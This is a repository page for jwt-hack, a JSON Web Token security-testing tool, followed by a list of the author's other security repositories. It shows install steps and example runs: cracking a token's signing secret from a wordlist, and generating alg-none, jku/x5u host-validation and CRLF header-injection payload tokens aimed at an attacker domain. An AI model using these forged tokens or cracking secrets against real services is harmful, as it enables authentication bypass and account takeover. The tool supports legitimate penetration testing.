• Stars
    star
    707
  • Rank 61,573 (Top 2 %)
  • Language
    Go
  • License
    MIT License
  • Created almost 4 years ago
  • Updated 5 months ago

Reviews

There are no reviews yet. Be the first to send feedback to the community and the maintainers!

Repository Details

🔩 jwt-hack is tool for hacking / security testing to JWT. Supported for En/decoding JWT, Generate payload for JWT attack and very fast cracking(dict/brutefoce)



Hack the JWT(JSON Web Token)

Installation

from the source

go1.17

go install github.com/hahwul/jwt-hack@latest

go1.16

GO111MODULE=on go get -u github.com/hahwul/jwt-hack

homebrew

brew tap hahwul/jwt-hack
brew install jwt-hack

snapcraft

sudo snap install jwt-hack

Usage

   d8p 8d8   d88 888888888          888  888 ,8b.     doooooo 888  ,dP
   88p 888,o.d88    '88d     ______ 88888888 88'8o    d88     888o8P'
   88P 888P`Y8b8   '888      XXXXXX 88P  888 88PPY8.  d88     888 Y8L
88888' 88P   YP8 '88p               88P  888 8b   `Y' d888888 888  `8p
-------------------------
Hack the JWT(JSON Web Token) | by @hahwul | v1.0.0

Usage:
  jwt-hack [command]

Available Commands:
  crack       Cracking JWT Token
  decode      Decode JWT to JSON
  encode      Encode json to JWT
  help        Help about any command
  payload     Generate JWT Attack payloads
  version     Show version

Flags:
  -h, --help   help for jwt-hack

1414

Encode mode(JSON to JWT)

▶ jwt-hack encode '{"json":"format"}' --secret={YOUR_SECRET}

e.g

▶ jwt-hack encode '{"test":"1234"}' --secret=asdf
   d8p 8d8   d88 888888888          888  888 ,8b.     doooooo 888  ,dP
   88p 888,o.d88    '88d     ______ 88888888 88'8o    d88     888o8P'
   88P 888P`Y8b8   '888      XXXXXX 88P  888 88PPY8.  d88     888 Y8L
88888' 88P   YP8 '88p               88P  888 8b   `Y' d888888 888  `8p
-------------------------
INFO[0000] Encoded result                                algorithm=HS256
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0ZXN0IjoiMTIzNCJ9.JOL1SYkRZYUz9GVny-DgoDj60C0RLz929h1_fFcpqQA

Decode mode(JWT to JSON)

▶ jwt-hack decode {JWT_CODE}

e.g

▶ jwt-hack decode eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

   d8p 8d8   d88 888888888          888  888 ,8b.     doooooo 888  ,dP
   88p 888,o.d88    '88d     ______ 88888888 88'8o    d88     888o8P'
   88P 888P`Y8b8   '888      XXXXXX 88P  888 88PPY8.  d88     888 Y8L
88888' 88P   YP8 '88p               88P  888 8b   `Y' d888888 888  `8p
-------------------------
INFO[0000] Decoded data(claims)                          header="{\"alg\":\"HS256\",\"typ\":\"JWT\"}" method="&{HS256 5}"
{"iat":1516239022,"name":"John Doe","sub":"1234567890"}

Crack mode(Dictionary attack / BruteForce)

▶ jwt-hack crack -w {WORDLIST} {JWT_CODE}

e.g

▶ jwt-hack crack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.5mhBHqs5_DTLdINd9p5m7ZJ6XD0Xc55kIaCRY5r6HRA -w samples/wordlist.txt

   d8p 8d8   d88 888888888          888  888 ,8b.     doooooo 888  ,dP
   88p 888,o.d88    '88d     ______ 88888888 88'8o    d88     888o8P'
   88P 888P`Y8b8   '888      XXXXXX 88P  888 88PPY8.  d88     888 Y8L
88888' 88P   YP8 '88p               88P  888 8b   `Y' d888888 888  `8p
-------------------------
[*] Start dict cracking mode
INFO[0000] Loaded words (remove duplicated)              size=16
INFO[0000] Invalid signature                             word=fas
INFO[0000] Invalid signature                             word=asd
INFO[0000] Invalid signature                             word=1234
INFO[0000] Invalid signature                             word=efq
INFO[0000] Invalid signature                             word=asdf
INFO[0000] Invalid signature                             word=2q
INFO[0000] Found! Token signature secret is test         Signature=Verified Word=test
INFO[0000] Invalid signature                             word=dfas
INFO[0000] Invalid signature                             word=ga
INFO[0000] Invalid signature                             word=f
INFO[0000] Invalid signature                             word=ds
INFO[0000] Invalid signature                             word=sad
INFO[0000] Invalid signature                             word=qsf
...
INFO[0000] Invalid signature                             word=password
INFO[0000] Invalid signature                             word=error
INFO[0000] Invalid signature                             word=calendar
[+] Found! JWT signature secret: test
[+] Finish crack mode

Payload mode(Alg none attack, etc..)

▶ jwt-hack payload {JWT_CODE}

for jku and x5u (what is? readme this slide)

  • --jwk-attack : A attack payload domain for jku&x5u (e.g hahwul.com)
  • --jwk-trust : A trusted domain for jku&x5u (e.g google.com)
  • --jwk-protocol : jku&x5u protocol (http/https) (default "https")

e.g

▶ jwt-hack payload eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkhBSFdVTCIsInJlZnJlc2hfdG9rZW4iOiJhYmNkMTIzNDU0NjQiLCJpYXQiOjE1MTYyMzkwMjJ9.5m9zFPGPU0LMdTTLCR7jXMP8357nNAa0z8ABJJE3r3c --jwk-attack attack.hahwul.com --jwk-protocol https --jwk-trust trust.hahwul.com

INFO[0000] Generate none payload                         header="{\"alg\":\"none\",\"typ\":\"JWT\"}" payload=none
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0=.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkhBSFdVTCIsInJlZnJlc2hfdG9rZW4iOiJhYmNkMTIzNDU0NjQiLCJpYXQiOjE1MTYyMzkwMjJ9.

INFO[0000] Generate NonE payload                         header="{\"alg\":\"NonE\",\"typ\":\"JWT\"}" payload=NonE
eyJhbGciOiJOb25FIiwidHlwIjoiSldUIn0=.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkhBSFdVTCIsInJlZnJlc2hfdG9rZW4iOiJhYmNkMTIzNDU0NjQiLCJpYXQiOjE1MTYyMzkwMjJ9.

INFO[0000] Generate NONE payload                         header="{\"alg\":\"NONE\",\"typ\":\"JWT\"}" payload=NONE
eyJhbGciOiJOT05FIiwidHlwIjoiSldUIn0=.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkhBSFdVTCIsInJlZnJlc2hfdG9rZW4iOiJhYmNkMTIzNDU0NjQiLCJpYXQiOjE1MTYyMzkwMjJ9.

INFO[0000] Generate jku + basic payload                  header="{\"alg\":\"hs256\",\"jku\":\"attack.hahwul.com\",\"typ\":\"JWT\"}" payload=jku
eyJhbGciOiJoczI1NiIsImprdSI6ImF0dGFjay5oYWh3dWwuY29tIiwidHlwIjoiSldUIn0=.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkhBSFdVTCIsInJlZnJlc2hfdG9rZW4iOiJhYmNkMTIzNDU0NjQiLCJpYXQiOjE1MTYyMzkwMjJ9.

INFO[0000] Generate jku host validation payload          header="{\"alg\":\"hs256\",\"jku\":\"https://trust.hahwul.comZattack.hahwul.com\",\"typ\":\"JWT\"}" payload=jku
eyJhbGciOiJoczI1NiIsImprdSI6Imh0dHBzOi8vdHJ1c3QuaGFod3VsLmNvbVphdHRhY2suaGFod3VsLmNvbSIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkhBSFdVTCIsInJlZnJlc2hfdG9rZW4iOiJhYmNkMTIzNDU0NjQiLCJpYXQiOjE1MTYyMzkwMjJ9.

INFO[0000] Generate jku host validation payload          header="{\"alg\":\"hs256\",\"jku\":\"https://[email protected]\",\"typ\":\"JWT\"}" payload=jku
eyJhbGciOiJoczI1NiIsImprdSI6Imh0dHBzOi8vdHJ1c3QuaGFod3VsLmNvbUBhdHRhY2suaGFod3VsLmNvbSIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkhBSFdVTCIsInJlZnJlc2hfdG9rZW4iOiJhYmNkMTIzNDU0NjQiLCJpYXQiOjE1MTYyMzkwMjJ9.

INFO[0000] Generate jku host header injection (w/CRLF) payload  header="{\"alg\":\"hs256\",\"jku\":\"https://trust.hahwul.com%0d0aHost: attack.hahwul.com\",\"typ\":\"JWT\"}" payload=jku
eyJhbGciOiJoczI1NiIsImprdSI6Imh0dHBzOi8vdHJ1c3QuaGFod3VsLmNvbSUwZDBhSG9zdDogYXR0YWNrLmhhaHd1bC5jb20iLCJ0eXAiOiJKV1QifQ==.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkhBSFdVTCIsInJlZnJlc2hfdG9rZW4iOiJhYmNkMTIzNDU0NjQiLCJpYXQiOjE1MTYyMzkwMjJ9.

INFO[0000] Generate x5u + basic payload                  header="{\"alg\":\"hs256\",\"x5u\":\"attack.hahwul.com\",\"typ\":\"JWT\"}" payload=x5u
eyJhbGciOiJoczI1NiIsIng1dSI6ImF0dGFjay5oYWh3dWwuY29tIiwidHlwIjoiSldUIn0=.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkhBSFdVTCIsInJlZnJlc2hfdG9rZW4iOiJhYmNkMTIzNDU0NjQiLCJpYXQiOjE1MTYyMzkwMjJ9.

INFO[0000] Generate x5u host validation payload          header="{\"alg\":\"hs256\",\"x5u\":\"https://trust.hahwul.comZattack.hahwul.com\",\"typ\":\"JWT\"}" payload=x5u
eyJhbGciOiJoczI1NiIsIng1dSI6Imh0dHBzOi8vdHJ1c3QuaGFod3VsLmNvbVphdHRhY2suaGFod3VsLmNvbSIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkhBSFdVTCIsInJlZnJlc2hfdG9rZW4iOiJhYmNkMTIzNDU0NjQiLCJpYXQiOjE1MTYyMzkwMjJ9.

INFO[0000] Generate x5u host validation payload          header="{\"alg\":\"hs256\",\"x5u\":\"https://[email protected]\",\"typ\":\"JWT\"}" payload=x5u
eyJhbGciOiJoczI1NiIsIng1dSI6Imh0dHBzOi8vdHJ1c3QuaGFod3VsLmNvbUBhdHRhY2suaGFod3VsLmNvbSIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkhBSFdVTCIsInJlZnJlc2hfdG9rZW4iOiJhYmNkMTIzNDU0NjQiLCJpYXQiOjE1MTYyMzkwMjJ9.

INFO[0000] Generate x5u host header injection (w/CRLF) payload  header="{\"alg\":\"hs256\",\"x5u\":\"https://trust.hahwul.com%0d0aHost: attack.hahwul.com\",\"typ\":\"JWT\"}" payload=x5u
eyJhbGciOiJoczI1NiIsIng1dSI6Imh0dHBzOi8vdHJ1c3QuaGFod3VsLmNvbSUwZDBhSG9zdDogYXR0YWNrLmhhaHd1bC5jb20iLCJ0eXAiOiJKV1QifQ==.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkhBSFdVTCIsInJlZnJlc2hfdG9rZW4iOiJhYmNkMTIzNDU0NjQiLCJpYXQiOjE1MTYyMzkwMjJ9.

More Repositories

1

WebHackersWeapons

⚔️ Web Hacker's Weapons / A collection of cool tools used by Web hackers. Happy hacking , Happy bug-hunting
Ruby
3,581
star
2

dalfox

🌙🦊 Dalfox is a powerful open-source XSS scanner and utility focused on automation.
Go
3,152
star
3

DevSecOps

♾️ Collection and Roadmap for everyone who wants DevSecOps. Hope your DevOps are more safe 😎
Go
1,565
star
4

XSpear

🔱 Powerfull XSS Scanning and Parameter analysis tool&gem
Ruby
1,084
star
5

MobileHackersWeapons

Mobile Hacker's Weapons / A collection of cool tools used by Mobile hackers. Happy hacking , Happy bug-hunting
Go
624
star
6

a2sv

Auto Scanning to SSL Vulnerability
Python
610
star
7

mad-metasploit

Metasploit custom modules, plugins, resource script and.. awesome metasploit collection
Ruby
373
star
8

authz0

🔑 Authz0 is an automated authorization test tool. Unauthorized access can be identified based on URLs and Roles & Credentials.
Go
341
star
9

droid-hunter

(deprecated) Android application vulnerability analysis and Android pentest tool
Ruby
287
star
10

metasploit-autopwn

db_autopwn plugin of metasploit
Ruby
192
star
11

deadfinder

🏴‍☠️ Find dead-links (broken links)
Ruby
123
star
12

RegexPassive

🔭 Collection of regexp pattern for security passive scanning
109
star
13

mzap

⚡️ Multiple target ZAP Scanning
Go
99
star
14

hack-pet

🐰 Managing command snippets for hackers/bug bounty hunters. with pet.
Go
98
star
15

XSS-Payload-without-Anything

XSS Payload without Anything.
92
star
16

gee

🏵 Gee is tool of stdin to each files and stdout. It is similar to the tee command, but there are more functions for convenience. In addition, it was written as go
Go
79
star
17

s3reverse

The format of various s3 buckets is convert in one format. for bugbounty and security testing.
Go
78
star
18

websocket-connection-smuggler

websocket-connection-smuggler
Go
66
star
19

gitls

🖇 Enumerate git repository URL from list of URL / User / Org. Friendly to pipeline
Go
58
star
20

ws-smuggler

WebSocket Connection Smuggler
Go
48
star
21

ras-fuzzer

RAS(RAndom Subdomain) Fuzzer
Go
43
star
22

MemBi

All the members of bugbounty and infosec. If you don't know who to follow, see!
Go
35
star
23

backbomb

💣 Dockerized penetration-testing/bugbounty/app-sec testing environment
Go
33
star
24

hbxss

Security test tool for Blind XSS
Ruby
27
star
25

fuzzstone

My fuzz repo!
JavaScript
23
star
26

action-dalfox

XSS scanning with Dalfox on Github-action
Dockerfile
22
star
27

recon-raven

Reconnaissance tool of Penetration test & Bug Bounty
Ruby
22
star
28

vais

SWF Vulnerability & Information Scanner
HTML
21
star
29

noir

♠️ Noir is an attack surface detector form source code.
Crystal
20
star
30

xssmaze

XSSMaze is a web service designed to test and improve the performance of security testing tools by providing various cases of XSS vulnerabilities.
Crystal
20
star
31

asset-of-hahwul.com

assets for www.hahwul.com
Shell
19
star
32

can-i-protect-xss

Everything about xss protection technology
16
star
33

volt

⚡ Golang library for quick make pentest tools
Go
15
star
34

raven

Automation Hacking & Penetration Testing Suite
Ruby
13
star
35

vunlink

Auto Web Vulnerability Scanning Framework
Ruby
11
star
36

websocket-connection-smuggling-go

websocket-connection-smuggling write in go
Go
10
star
37

hahwul

about me!
9
star
38

zest-env

🐋 Zest CLI Environment
Shell
9
star
39

awesome-zap-extensions

A curated list of amazingly awesome ZAP Extensions
8
star
40

github-aciton-injection-test

This repo is a sample repo for Github Action Injection.
8
star
41

VAHA

Web for security engineer & hacker
7
star
42

buildpack-nmap

install nmap and set alias buildpack of heroku
Shell
6
star
43

jqueen

Go
6
star
44

m2h.js

remote markdown document to html on DOM
JavaScript
6
star
45

zap-cloud-scan

5
star
46

homebrew-dalfox

Ruby
5
star
47

hahwul-testzz

tool, page code for https://www.hahwul.com
HTML
5
star
48

qs-openvpn

quick setup openvpn
Shell
5
star
49

eoyc

Encoding Only Your Choices
Crystal
5
star
50

zaproxy-ruby

A Ruby Implementation and Library for Easy Utilization of ZAP API
Ruby
5
star
51

cyan-snake

Live OS for Physical hacking
Ruby
5
star
52

podopunch

Easy testing from multiple android devices
Python
5
star
53

openvas_install_script

OpenVAS Scanner Install Script on Debian
Shell
5
star
54

rings

Ruby
4
star
55

licaner

Go
4
star
56

homebrew-jwt-hack

Ruby
4
star
57

buildpack-zap-daemon

zap(zed attack proxy) daemon mode buildpack of heroku
Shell
4
star
58

restime

Web page response time checker
Python
4
star
59

exploit-db_to_dokuwiki

exploit-db(edb) convert to dokuwiki template
Python
4
star
60

homebrew-backbomb

backbomb homebrew repository
Ruby
4
star
61

booungJS

Vulnerability analysis to javascript using javascript and web debugger
JavaScript
4
star
62

homebrew-authz0

Ruby
3
star
63

struts2-rce-cve-2017-9805-ruby

cve -2017-9805
Ruby
3
star
64

homebrew-mzap

Ruby
3
star
65

go-github-selfupdate-patched

go get error patched version
Go
3
star
66

crystal-smuggle

Toy :D
Crystal
3
star
67

CaidoTweaks

3
star
68

shooting-scheme

custom scheme testing tool with checklist
3
star
69

ftc

simple copy to file to clipboard
Ruby
3
star
70

action-authz0-test

3
star
71

mycert

Ruby
2
star
72

lab

lab.hahwul.com
2
star
73

homebrew-gee

Ruby
2
star
74

jekyll-securitytxt

Jekyll plugin for security.txt
Ruby
2
star
75

homebrew-s3reverse

Ruby
2
star
76

heroku-buildpack-geckodriver

2
star
77

vuln_test

<video><embed><object><meta><body><script><frame><frameset>
2
star
78

projectsend_r582_webshell

ProjectSend_r582_webshell exploit
Ruby
1
star
79

homebrew-eoyc

Ruby
1
star
80

hlogger

golang logger for hahwul z
Go
1
star
81

caido-crystal

Caido implementation for crystal
Crystal
1
star